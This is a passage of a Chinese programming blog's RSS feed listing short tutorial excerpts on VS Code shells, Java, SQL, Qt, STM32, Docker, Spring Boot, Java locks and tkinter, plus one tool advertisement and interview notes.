      <description>因本人实在忍受不了 vscode 的默认终端为 (powershell, cmd), 在工作时项目分支比较多, 需要经常切换分支, 但自带的终端很是傻叉, 需要自己使用 git 指令查看当前所在分支, 稍不留神就改错代码了, 为此很是苦恼, 查看了 vscode官方文档之后, 原来可以配置, 毫不犹豫换终端.&#xA;1. VS Code 自带终端显示效果 2. 修改默认终端为 git-bash 2.1 打开设置, 搜索shell 关键字 2.2 找到 Terminal › Integrated › Shell: Windows 设置项 2.3 将默认的终端修改为 git-bash.exe 的路径 3. 修改之后的效果 这下再也不怕搞不清当前所在的分支了, 小伙伴们, 快去设置吧, 简直爽到飞起.</description>
    </item>
    <item>
      <title>Java去掉字符串最后的空格</title>
      <link>https://bchobby.github.io/posts/e02932c02ba14da9e16e4e8a5cc3e552/</link>
      <pubDate>Wed, 19 Sep 2018 12:25:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e02932c02ba14da9e16e4e8a5cc3e552/</guid>
      <description>在字符串的方法中，有一个方法叫trim，是用来去掉字符串中的首尾空格的一个方法，具体实现如下：&#xA;public String trim() { int len = value.length;//value是一个字符数组 int st = 0;//表示字符串开始第一个不是空格的字符的下标 char[] val = value; /* avoid getfield opcode */ //表示从字符数组的头开始遍历 while ((st &amp;lt; len) &amp;amp;&amp;amp; (val[st] &amp;lt;= &#39; &#39;)) { st++; } //表示从字符数组的尾开始遍历 //len的最终值是字符串从尾部开始遍历第一个不是空格的字符下标 while ((st &amp;lt; len) &amp;amp;&amp;amp; (val[len - 1] &amp;lt;= &#39; &#39;)) { len--; } return ((st &amp;gt; 0) || (len &amp;lt; value.length)) ? substring(st, len) : this; } 效果如下：&#xA;现在我有个需求是去掉字符串的末尾空格，所以改造了一下这个trim方法的实现，具体代码如下所示：&#xA;public String trimEnd(char[] value) { int len = value.</description>
    </item>
    <item>
      <title>SQl 排序（字段里面包含字符，数字，以及英文）</title>
      <link>https://bchobby.github.io/posts/e423d46af414652ff4edafa96fb8303d/</link>
      <pubDate>Wed, 19 Sep 2018 10:01:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e423d46af414652ff4edafa96fb8303d/</guid>
      <description> /*这个可以排序中文和数字加字母组合！*/ select [字段] from [表名] order by LEN([字段]), [字段] /*这个可以排序中文数字！(列中只有中文数字)*/ select [字段] from [表名] order by charindex([字段],&#39;一二三四五六七八九十&#39;) /*这个可以排序中文数字！(列中包含中文数字)*/ select [字段] from [表名] order by charindex(&#39;一&#39;,[字段]) desc, charindex(&#39;二&#39;,[字段]) desc , charindex(&#39;三&#39;,[字段]) desc , charindex(&#39;四&#39;,[字段]) desc , charindex(&#39;五&#39;,[字段]) desc, charindex(&#39;六&#39;,[字段]) desc , charindex(&#39;七&#39;,[字段]) desc , charindex(&#39;八&#39;,[字段]) desc, charindex(&#39;九&#39;,[字段]) desc , charindex(&#39;十&#39;,[字段]) desc </description>
    </item>
    <item>
      <title>在VS Code 中修改默认的命令终端(shell)</title>
      <link>https://bchobby.github.io/posts/641fcc098b60e23d7589244b0826db6d/</link>
      <pubDate>Tue, 18 Sep 2018 15:03:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/641fcc098b60e23d7589244b0826db6d/</guid>
      <description>在日常使用vscode编辑器中, 我们可以通过 Ctrl+反引号快捷键来调出终端面板, 如下图:&#xA;其中的shell(上图右下圈红部分)是可以设置的, 接下来，教大家如何更改默认的shell&#xA;1.在文件 -&amp;gt; 首选项 -&amp;gt; 设置中打开settings页面, 搜索shell或则找到Terminal&amp;gt;Integrated&amp;gt;Shell:Windows,&#xA;2.把地址切换成你需要以下的某个shell的地址（powershell, cmd, 和bash）&#xA;powershell: &#34;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe&#34;,&#xA;cmd: &#34;C:\\Windows\\System32\\cmd.exe&#34;,&#xA;bash: &#34;D:\\soft\\git\\bin\\bash.exe&#34;&#xA;注：如果对你有帮助的，请帮我点个“赞”，如果有写的不好的，或有改进的地方，欢迎留言区评论，如果情况属实，我会优化改进该文章-----张小桀</description>
    </item>
    <item>
      <title>推荐大家一块开发神器guiplan,自动写代码，一键保存</title>
      <link>https://bchobby.github.io/posts/2e7186043223a2855b5e0de479bd266c/</link>
      <pubDate>Tue, 18 Sep 2018 13:02:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e7186043223a2855b5e0de479bd266c/</guid>
      <description>推荐大家一块开发神器guiplan，网站前端后端数据库等等 再也无需手敲代码。一键生成，一键保存效率是传统手写代码8倍以上，开发成本最少能降低5倍以上，产出速度能加快四倍以上，是程序员的春天，也是外包核心竞争黑科技，你还在等什么呢？赶快下载使用吧http://www.guiplan.com/#/</description>
    </item>
    <item>
      <title>快捷键取色器</title>
      <link>https://bchobby.github.io/posts/3b5e371b028f4d211a0664045330675c/</link>
      <pubDate>Tue, 18 Sep 2018 11:16:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b5e371b028f4d211a0664045330675c/</guid>
      <description>1.用QQ的截图键，然后按住ctrl键就可以看得到需要的颜色代码</description>
    </item>
    <item>
      <title>Qt中使用串口发送十六进制指令</title>
      <link>https://bchobby.github.io/posts/c8573d5cc5b88992166741b01aee45b7/</link>
      <pubDate>Mon, 17 Sep 2018 17:09:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8573d5cc5b88992166741b01aee45b7/</guid>
      <description> 使用Qt的serial.write()发送十六进制指令 比如需要发送01 02 fa 32&#xA;使用write()函数发送字节数组QByteArray&#xA;QByteArray array; array[0] = 0x01; array[1] = 0x02; array[2] = 0xfa; array[3] = 0x32; serial.write(array); </description>
    </item>
    <item>
      <title>谷歌浏览器无插件保存网页为长图</title>
      <link>https://bchobby.github.io/posts/40b5e9dfe0057436f01eab4307ffa612/</link>
      <pubDate>Sat, 15 Sep 2018 08:58:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40b5e9dfe0057436f01eab4307ffa612/</guid>
      <description>windows： 打开你想截图的网页，按 F12，接着按Ctrl + Shift + P，在如下图所示的地方输入 capture ，如下图所示有三个选项。&#xA;分别是截取全屏、node 模式以及当前范围，选择对你想用的，我一直都是截全屏。&#xA;MAC: 截取网页长图：&#xA;⌘Command + ⌥Option + I 快捷键，打开调试界面；&#xA;按下 ⌘Command + ⇧Shift + P；&#xA;输入命令 Capture full size screenshot，或直接输入full即可找到这个功能，然后回车；&#xA;Chrome 就会自动截取整个网页内容并保存至本地。</description>
    </item>
    <item>
      <title>阿里图标库iconfont如何使用</title>
      <link>https://bchobby.github.io/posts/ac222bc46b84a260490c86fa7021e2fc/</link>
      <pubDate>Fri, 14 Sep 2018 21:59:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac222bc46b84a260490c86fa7021e2fc/</guid>
      <description>1、在阿里图标库（http://iconfont.cn/）选择自己喜欢的一个或多个图标，效果如下图所示&#xA;2、网页右上角的小购物车，&#xA;3、这里我们选择下载代码。下载好了后在项目需要的地方解压。&#xA;4、这是我下载好的压缩文件以及解压后的文件。&#xA;5、下载好了以后，会看到有三个html文件，我们用浏览器打开，他是三种引入图标的方法，我们根据自己的需要自行选择。&#xA;6、举例子来说，我个人喜欢用&#xA;新建一个文件夹，名字自己取吧！我的叫font，放入这四个文件。与font平级的放iconfont.css&#xA;html中的style：&#xA;.iconfont{ color: blue; }&#xA;@font-face {&#xA;font-family: &#39;iconfont&#39;;&#xA;src: url(&#39;font/iconfont.eot&#39;);&#xA;src: url(&#39;font/iconfont.eot?#iefix&#39;) format(&#39;embedded-opentype&#39;),&#xA;url(&#39;font/iconfont.woff&#39;) format(&#39;woff&#39;),&#xA;url(&#39;font/iconfont.ttf&#39;) format(&#39;truetype&#39;),&#xA;url(&#39;font/iconfont.svg#iconfont&#39;) format(&#39;svg&#39;);&#xA;}&#xA;.iconfont{&#xA;font-family:&#34;iconfont&#34; !important;&#xA;font-size:16px;font-style:normal;&#xA;-webkit-font-smoothing: antialiased;&#xA;-webkit-text-stroke-width: 0.2px;&#xA;-moz-osx-font-smoothing: grayscale;&#xA;}&#xA;body中&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&#34;&#34;&amp;gt;&amp;lt;!--&amp;lt;i class=&#34;iconfont icon-yifu&#34;&amp;gt;&amp;lt;/i&amp;gt;--&amp;gt;1男装/女装&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&#34;&#34;&amp;gt;&amp;lt;!--&amp;lt;span class=&#34;iconfont icon-15&#34;&amp;gt;&amp;lt;/span&amp;gt;--&amp;gt;2鞋靴/箱包&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&#34;&#34;&amp;gt;&amp;lt;i class=&#34;iconfont&#34;&amp;gt;&amp;amp;#xe666;&amp;lt;/i&amp;gt;3家具&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&#34;&#34;&amp;gt;&amp;lt;i class=&#34;iconfont&#34;&amp;gt;&amp;amp;#xe60f;&amp;lt;/i&amp;gt;4家具&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&#34;&#34;&amp;gt;&amp;lt;i class=&#34;iconfont&#34;&amp;gt;&amp;amp;#x3446;&amp;lt;/i&amp;gt;5家具&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;这些图标都可以当成font来处理，改颜色大小之类的，都和文字一样。</description>
    </item>
    <item>
      <title>猫眼测试开发面经（整理）</title>
      <link>https://bchobby.github.io/posts/2f8a0b31d683a833c9ecc9745ee7c0dc/</link>
      <pubDate>Thu, 13 Sep 2018 22:35:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f8a0b31d683a833c9ecc9745ee7c0dc/</guid>
      <description>作者：小橘子454&#xA;链接：https://www.nowcoder.com/discuss/105746&#xA;来源：牛客网&#xA;一面：（60分钟）&#xA;1.输入一个网址，在浏览器中会发生什么？ https://www.cnblogs.com/wenanry/archive/2010/02/25/1673368.html&#xA;2.了解同步与互斥吗？怎样解决互斥？ 互斥：是指某一资源同时只允许一个访问者对其进行访问，具有唯一性和排它性。但互斥无法限制访问者对资源的访问顺序，即访问是无序的。　同步：是指在互斥的基础上（大多数情况），通过其它机制实现访问者对资源的有序访问。在大多数情况下，同步已经实现了互斥，特别是所有写入资源的情况必定是互斥的。少数情况是指可以允许多个访问者同时访问资源。&#xA;PV是用来解决互斥和同步问题的。Peterson算法才可以算正确的且简洁的解决&#xA;a. 关中断 b. 测试并加锁 TSL指令 c. 交换指令 XCHG&#xA;3.malloc，是怎样申请内存的？ http://www.cnblogs.com/hanyonglu/archive/2011/04/28/2031271.html&#xA;4.堆和栈的区别 堆和栈的区别&#xA;https://iamjohnnyzhuang.github.io/java/2016/07/12/Java%E5%A0%86%E5%92%8C%E6%A0%88%E7%9C%8B%E8%BF%99%E7%AF%87%E5%B0%B1%E5%A4%9F.html&#xA;功能不同&#xA;栈内存用来存储局部变量和方法调用。 而堆内存用来存储Java中的对象。无论是成员变量，局部变量，还是类变量，它们指向的对象都存储在堆内存中。&#xA;共享性不同&#xA;栈内存是线程私有的。堆内存是所有线程共有的。 异常错误不同&#xA;如果栈内存或者堆内存不足都会抛出异常。&#xA;栈空间不足：java.lang.StackOverFlowError。堆空间不足：java.lang.OutOfMemoryError。 空间大小&#xA;栈的空间大小远远小于堆的。&#xA;5.写了一个数据库的查询语句，查询，成绩大于平均成绩60的学号 select S#,avg(score) from sc group by S# having avg(score) &amp;gt;60; https://bbs.csdn.net/topics/280002741&#xA;6.http请求的具体格式 https://blog.csdn.net/u010002184/article/details/78885733&#xA;7.get/post的区别 HTTP请求方法我这里只讨论GET方法与POST方法&#xA;l GET方法&#xA;GET方法是默认的HTTP请求方法，我们日常用GET方法来提交表单数据，然而用GET方法提交的表单数据只经过了简单的编码，同时它将作为URL的一部分向Web服务器发送，因此，如果使用GET方法来提交表单数据就存在着安全隐患上。例如&#xA;Http://127.0.0.1/login.jsp?Name=zhangshi&amp;amp;Age=30&amp;amp;Submit=%cc%E+%BD%BB&#xA;从上面的URL请求中，很容易就可以辩认出表单提交的内容。（？之后的内容）另外由于GET方法提交的数据是作为URL请求的一部分所以提交的数据量不能太大&#xA;l POST方法&#xA;POST方法是GET方法的一个替代方法，它主要是向Web服务器提交表单数据，尤其是大批量的数据。POST方法克服了GET方法的一些缺点。通过POST方法提交表单数据时，数据不是作为URL请求的一部分而是作为标准数据传送给Web服务器，这就克服了GET方法中的信息无法保密和数据量太小的缺点。因此，出于安全的考虑以及对用户隐私的尊重，通常表单提交时采用POST方法。&#xA;从编程的角度来讲，如果用户通过GET方法提交数据，则数据存放在QUERY＿STRING环境变量中，而POST方法提交的数据则可以从标准输入流中获取。&#xA;8.平时怎么测试自己写的代码？ 9.写一个链表公共节点查询 public class Solution14 { public ListNode FindFirstCommonNode(ListNode pHead1, ListNode pHead2) { int l1=0,l2=0; ListNode n1,n2; n1=pHead1; n2=pHead2; //求两条链表的长度 while(n1!</description>
    </item>
    <item>
      <title>stm32串口奇偶校验时出现bug总结</title>
      <link>https://bchobby.github.io/posts/01b17d492c152138e78196c0816649cc/</link>
      <pubDate>Thu, 13 Sep 2018 11:15:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01b17d492c152138e78196c0816649cc/</guid>
      <description>做的是工业传感采集器，现场采集的参数查询指令为FE FE 68 19 01 00 00 00 00 33 78 01 03 1F 90 01 E1 16 ，8位数据位，奇校验模式&#xA;串口设置：&#xA;USART_InitStructure.USART_WordLength = USART_WordLength_8b;&#xA;USART_InitStructure.USART_Parity = USART_Parity_Odd;&#xA;代码写入： index = 0;&#xA;Max3485SendBuf[index++] = 0xfe;&#xA;Max3485SendBuf[index++] = 0xfe;&#xA;Max3485SendBuf[index++] = 0x68;&#xA;Max3485SendBuf[index++] = 0x19;&#xA;Max3485SendBuf[index++] = 0x01;&#xA;Max3485SendBuf[index++] = 0x00; Max3485SendBuf[index++] = 0x00;&#xA;Max3485SendBuf[index++] = 0x00;&#xA;Max3485SendBuf[index++] = 0x00;&#xA;Max3485SendBuf[index++] = 0x33;&#xA;Max3485SendBuf[index++] = 0x78;&#xA;Max3485SendBuf[index++] = 0x01;&#xA;Max3485SendBuf[index++] = 0x03;</description>
    </item>
    <item>
      <title>STM32F1笔记（十）PWM</title>
      <link>https://bchobby.github.io/posts/5ce8d735b4399135900dda21010cba57/</link>
      <pubDate>Thu, 13 Sep 2018 11:06:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ce8d735b4399135900dda21010cba57/</guid>
      <description>PWM：Pulse Width Modulation，脉冲宽度调制。是利用微处理器的数字输出来对模拟电路进行控制的一种非常有效的技术。简单来说就是对脉冲宽度的控制。&#xA;在《STM32中文参考手册》里可以看到&#xA;占空比：占空比是指在一个脉冲循环内，通电时间相对于总时间所占的比例。占空比(Duty Ratio)在电信领域中有如下含义：例如：脉冲宽度1μs，信号周期4μs的脉冲序列占空比为0.25。（百度百科）&#xA;STM32的定时器除了TIM6和TIM7，其他的定时器都可以用来产生PWM输出。其中高级定时器TIM1和TIM8可以同时产生多达7路的PWM输出。而通用定时器也能同时产生多达4路的PWM输出。这样，STM32最多可以同时产生30路PWM输出。&#xA;PWM初始化代码示例：&#xA;void TIM3_PWM_Init(u16 arr,u16 psc) { GPIO_InitTypeDef GPIO_InitStructure; TIM_TimeBaseInitTypeDef TIM_TimeBaseStructure; TIM_OCInitTypeDef TIM_OCInitStructure; RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM3, ENABLE); RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOB | RCC_APB2Periph_AFIO, ENABLE); //定时器3通道2重映射 GPIO_PinRemapConfig(GPIO_PartialRemap_TIM3, ENABLE); GPIO_InitStructure.GPIO_Pin = GPIO_Pin_5; GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF_PP; GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz; GPIO_Init(GPIOB, &amp;amp;GPIO_InitStructure); TIM_TimeBaseStructure.TIM_Period = arr; TIM_TimeBaseStructure.TIM_Prescaler =psc; TIM_TimeBaseStructure.TIM_ClockDivision = 0; TIM_TimeBaseStructure.TIM_CounterMode = TIM_CounterMode_Up; TIM_TimeBaseInit(TIM3, &amp;amp;TIM_TimeBaseStructure); TIM_OCInitStructure.TIM_OCMode = TIM_OCMode_PWM2; TIM_OCInitStructure.TIM_OutputState = TIM_OutputState_Enable; TIM_OCInitStructure.TIM_OCPolarity = TIM_OCPolarity_High; TIM_OC2Init(TIM3, &amp;amp;TIM_OCInitStructure); //重要的一步，勿忘 //使能TIM3在CCR2上的预装载寄存器 TIM_OC2PreloadConfig(TIM3, TIM_OCPreload_Enable); TIM_Cmd(TIM3, ENABLE); } PWM模式1和2的概念可在《STM32中文参考手册》找到</description>
    </item>
    <item>
      <title>STL中vector、set容器元素的清空和内存的释放</title>
      <link>https://bchobby.github.io/posts/dab73897913f0a2214296c1ce3f285f5/</link>
      <pubDate>Thu, 13 Sep 2018 10:04:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dab73897913f0a2214296c1ce3f285f5/</guid>
      <description>元素的清空和内存的释放 在STL中，经常会使用到vector容器，而且是多次清空，多次存放数据，使用clear()只是清空元素，并不释放内存，可以使用swap()实现元素的清空和内存的释放。&#xA;vector&amp;lt;int&amp;gt;().swap(MyObject)可以清空元素，释放内存。&#xA;而对于set关联式容器，使用clear()即可。</description>
    </item>
    <item>
      <title>如何学习计算机组成原理</title>
      <link>https://bchobby.github.io/posts/88abba0b57bbab1e3df2a7a512dcef8e/</link>
      <pubDate>Thu, 13 Sep 2018 09:31:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88abba0b57bbab1e3df2a7a512dcef8e/</guid>
      <description>最近看组成原理看得相当无聊，去网上找学习方法，找到一篇不错的文章。&#xA;《操作系统》是站在软件的角度看计算机的运行原理，《计算机组成原理》则是站在硬件的角度来看计算机的运行原理，因此这门课对于学习计算机的学生来说非常重要。我这里不谈怎么通过考试，相信对于现在的的大学考试来说，只要认真备考的都不会通不过，所以这里不谈怎么通过考试，而是谈怎么学到有用的东西。&#xA;对于以后想从事嵌入式系统、操作系统设计等和硬件结合比较紧密的工作的同学，我建议所有的内容都要学好，而如果以后想从事软件相关工作的同学也要学好存储器、输入输出系统、计算机的运算方法、指令系统、CPU的结构和功能等章节的内容，因为做大型系统软件会涉及到调优的问题，如果只懂软件，而不知道硬件在怎么运行的话，调优会受到限制，软件无法发挥硬件的最大优势。举一个简单的例子，我所在的公司以前开发过一套软件系统，在Intel的服务器上运行，一开始我们的软件运行效率非常低，然后Intel派了一个对硬件、软件都非常熟悉的团队来进行调优，经过调优，我们的程序运行效率提高了10倍。&#xA;这门课程和数字电路等课程不同，《数字电路》是站在微观的角度讲解计算机的原理的，而《计算机组成原理》则是站在宏观角度讲解的，因此大可不必在电路图等细节问题上陷得太深，只要像zsk425 说的那样，以“抽象”的观点看问题，只要知道它在做什么就可以了，不要管它内部是怎么实现的。&#xA;这门课和其他专业课不同，大部分都是理论性的东西，很少有动手实验的内容，因此很多同学感觉非常枯燥。那么我的建议就是自己多结合自己的电脑进行联想和研究，多到网上搜索相关的资料，那样理解就会更加深刻。《计算机组成原理》、《操作系统》、《计算机组成原理》是可以当成“小说”来看的课程，不要皱着眉头把它当成理论学，而是把课本想象成一个给你讲计算机运行原理的说书人。&#xA;比如学到《系统总线》的时候，你就想：计算机部件之间的通讯如果是通过一根线来进行的话肯定非常慢，因为数据、控制信息等都要通过一根线进行，而如果分成数据总线、地址总线和控制总线三条线的话数据、控制、地址信息就可以并行进行，所以速度就快了。然后你就可以到网上搜PCI、ISA总线等的介绍，南北桥芯片的介绍等，这样你就能把知识做到“不用刻意记就记住了”。&#xA;讲到存储器的缓存的时候，你就琢磨缓存到底是在做什么。缓存就是为了解决低速设备读取的问题，从内存中读数据肯定没有直接从CPU的缓存中读取快，所以就需要把经常被读取的数据放到缓存中，以后读的时候直接去缓存中读取就可以。缓存不能设计的太小，因为太小的话很多需要缓存的数据放不进去，太大的话则会增加成本，而且会导致很多不需要被缓存的数据也缓存了。然后你就到网上看主流的CPU内置的1M、2M、8M缓存的比较的文章，相信你就会理解深刻了。&#xA;讲到程序查询方式、DMA方式等的时候你就联想企业中的人员管理，有的企业里边A员工让B员工做一件事情也要领导转达任务分派，而且有的企业里一些普通的事情员工之间就可以处理，无需要领导过问。&#xA;讲到奇偶校检码的时候你就可以思考为什么有的压缩文件、视频文件有轻微的损坏仍然能够打开，你甚至可以自己写一个程序来实现校检功能。&#xA;总之，多到网上搜集相关资料，多联想，把它当成小说来读就会轻松、愉快很多，学的也会更扎实。</description>
    </item>
    <item>
      <title>docker原理</title>
      <link>https://bchobby.github.io/posts/d4c8aa35605eb33d6841b0d543e2a47e/</link>
      <pubDate>Wed, 12 Sep 2018 21:19:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4c8aa35605eb33d6841b0d543e2a47e/</guid>
      <description>简介 Docker就是虚拟化的一种轻量级替代技术。Docker的容器技术不依赖任何语言、框架或系统，可以将App变成一种 标准化的、可移植的、自管理的组件，并脱离服务器硬件在任何主流系统中开发、调试和运行 简单的说就是，在 Linux 系统上迅速创建一个容器（类似虚拟机）并在容器上部署和运行应用程序，并通过配置文件 可以轻松实现应用程序的自动化安装、部署和升级，非常方便。因为使用了容器，所以可以很方便的把生产环境和开 发环境分开，互不影响，这是 docker 最普遍的一个玩法。&#xA;Namespaces 命名空间 (namespaces) 是 Linux 为我们提供的用于分离进程树、网络接口、挂载点以及进程间通信等资源的方法。在日常使用 Linux 或者 macOS 时，我们并没有运行多个完全分离的服务器的需要，但是如果我们在服务器上启动了多个服务，这些服务其实会相互影响的，每一个服务都能看到其他服务的进程，也可以访问宿主机器上的任意文件，这是很多时候我们都不愿意看到的，我们更希望运行在同一台机器上的不同服务能做到完全隔离，就像运行在多台不同的机器上一样。&#xA;在这种情况下，一旦服务器上的某一个服务被入侵，那么入侵者就能够访问当前机器上的所有服务和文件，这也是我们不想看到的，而 Docker 其实就通过 Linux 的 Namespaces 对不同的容器实现了隔离。&#xA;Linux 的命名空间机制提供了以下七种不同的命名空间，包括 CLONE_NEWCGROUP、CLONE_NEWIPC、CLONE_NEWNET、CLONE_NEWNS、CLONE_NEWPID、CLONE_NEWUSER 和 CLONE_NEWUTS，通过这七个选项我们能在创建新的进程时设置新进程应该在哪些资源上与宿主机器进行隔离。&#xA;进程 进程是 Linux 以及现在操作系统中非常重要的概念，它表示一个正在执行的程序，也是在现代分时系统中的一个任务单元。在每一个 *nix 的操作系统上，我们都能够通过 ps 命令打印出当前操作系统中正在执行的进程。&#xA;如果我们在当前的 Linux 操作系统下运行一个新的 Docker 容器，并通过 exec 进入其内部的 bash 并打印其中的全部进程，在新的容器内部执行 ps 命令打印出了非常干净的进程列表。&#xA;网络 如果 Docker 的容器通过 Linux 的命名空间完成了与宿主机进程的网络隔离，但是却有没有办法通过宿主机的网络与整个互联网相连，就会产生很多限制，所以 Docker 虽然可以通过命名空间创建一个隔离的网络环境，但是 Docker 中的服务仍然需要与外界相连才能发挥作用。&#xA;每一个使用 docker run 启动的容器其实都具有单独的网络命名空间，Docker 为我们提供了四种不同的网络模式，Host、Container、None 和 Bridge 模式。</description>
    </item>
    <item>
      <title>Spring boot：org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean wi</title>
      <link>https://bchobby.github.io/posts/c73b4d24cee8de223600127ccdcd6f00/</link>
      <pubDate>Wed, 12 Sep 2018 10:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c73b4d24cee8de223600127ccdcd6f00/</guid>
      <description>先看错误：&#xA;org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name &#39;AIQueryController&#39;: Unsatisfied dependency expressed through field &#39;aIQueryService&#39;; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name &#39;AIQueryServiceImpl&#39;: Unsatisfied dependency expressed through field &#39;tProjectMapper&#39;; nested exception is org.springframework.beans.factory.NoSuchBeanDefinitionException: No qualifying bean of type &#39;com.mapper.TProjectMapper&#39; available: expected at least 1 bean which qualifies as autowire candidate. Dependency annotations: {@org.springframework.beans.factory.annotation.Autowired(required=true)}&#xA;at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor$AutowiredFieldElement.inject(AutowiredAnnotationBeanPostProcessor.java:586) ~[spring-beans-5.0.8.RELEASE.jar:5.0.8.RELEASE]&#xA;at org.springframework.beans.factory.annotation.InjectionMetadata.inject(InjectionMetadata.java:91) ~[spring-beans-5.0.8.RELEASE.jar:5.0.8.RELEASE]&#xA;at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor.postProcessPropertyValues(AutowiredAnnotationBeanPostProcessor.java:372) ~[spring-beans-5.0.8.RELEASE.jar:5.0.8.RELEASE]&#xA;at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.populateBean(AbstractAutowireCapableBeanFactory.java:1341) ~[spring-beans-5.0.8.RELEASE.jar:5.0.8.RELEASE]&#xA;at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:572) ~[spring-beans-5.0.8.RELEASE.jar:5.0.8.RELEASE]</description>
    </item>
    <item>
      <title>锁的获取流程</title>
      <link>https://bchobby.github.io/posts/39d8252225d12bbeb1787a8b7f16895d/</link>
      <pubDate>Sun, 09 Sep 2018 12:56:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39d8252225d12bbeb1787a8b7f16895d/</guid>
      <description>今天的主题是探究一下锁的获取过程是如何实现的，我们主要以ReentrantLock(重入锁)来展开研究，在进行探究之前我们先来了解几个比较重要的名词AQS，CAS&#xA;AQS(AbstractQueuedSynchronizer)在JDK文档中定义如下：&#xA;为实现依赖于先进先出 (FIFO) 等待队列的阻塞锁和相关同步器（信号量、事件，等等）提供一个框架。此类的设计目标是成为依靠单个原子 int 值来表示状态的大多数同步器的一个有用基础。子类必须定义更改此状态的受保护方法，并定义哪种状态对于此对象意味着被获取或被释放。假定这些条件之后，此类中的其他方法就可以实现所有排队和阻塞机制。子类可以维护其他状态字段，但只是为了获得同步而只追踪使用 getState()、setState(int) 和 compareAndSetState(int, int) 方法来操作以原子方式更新的 int 值。他的具体用法我们在后面再进行了解。&#xA;CAS(Compare And Swap):执行的函数CAS(v,e,n)他包含了三个参数&#xA;v: 表示要更新的对象&#xA;e: 表示预期值&#xA;n: 表示更新的新值&#xA;CAS也称之为无锁执行者，它有点类似与乐观锁，他会把v和e进行比较看是否一致，如果不一致那么肯定是有其他线程对对象进行了修改，他将会被告知操作失败，之后他可以选择重获获取值进行比较也可以直接放弃；反之将v替换成n,操作成功然后则可以执行后面的操作，这样虽然CAS没有牵扯到锁的概念但是他一样可以保证多线程情况下的资源共享的安全性；&#xA;1.锁获取的流程图&#xA;我们获取的锁的过程以公平锁为列，首先我们看看ReentrantLock的lock方法&#xA;/** * Acquires the lock. * * &amp;lt;p&amp;gt;Acquires the lock if it is not held by another thread and returns * immediately, setting the lock hold count to one. * * &amp;lt;p&amp;gt;If the current thread already holds the lock then the hold * count is incremented by one and the method returns immediately.</description>
    </item>
    <item>
      <title>Python用户界面控件（widget）布局练习（grid）</title>
      <link>https://bchobby.github.io/posts/fd9c8571738cf36b3d2763f4559def40/</link>
      <pubDate>Sat, 08 Sep 2018 19:30:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd9c8571738cf36b3d2763f4559def40/</guid>
      <description> grid网格和网页中表格的作用类似。按照这个思路想就很好理解下面的代码了。&#xA;import tkinter as tr root=tr.Tk() #上北下南左西右东（N、S、W、E)排列控件，比较加“E”与不加的区别 tr.Label(root,text=&#34;甲方&#34;).grid(row=0,sticky=&#34;E&#34;) tr.Label(root,text=&#34;乙方&#34;).grid(row=1) e1=tr.Entry(root) e2=tr.Entry(root) e1.grid(row=0,column=1) e2.grid(row=1,column=1) #文本控件宽度跨两列。 tr.Text(root).grid(row=3,column=0,columnspan=2) tr.Button(root,text=&#34;确定&#34;,width=10).grid(row=4,column=0) tr.Button(root,text=&#34;取消&#34;,width=10).grid(row=4,column=1) root.mainloop() </description>
    </item>
    <item>
      <title>三种方法求两个数最大公因数</title>
      <link>https://bchobby.github.io/posts/76888e9b416718d2f55ca926dad4313d/</link>
      <pubDate>Sat, 08 Sep 2018 17:17:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76888e9b416718d2f55ca926dad4313d/</guid>
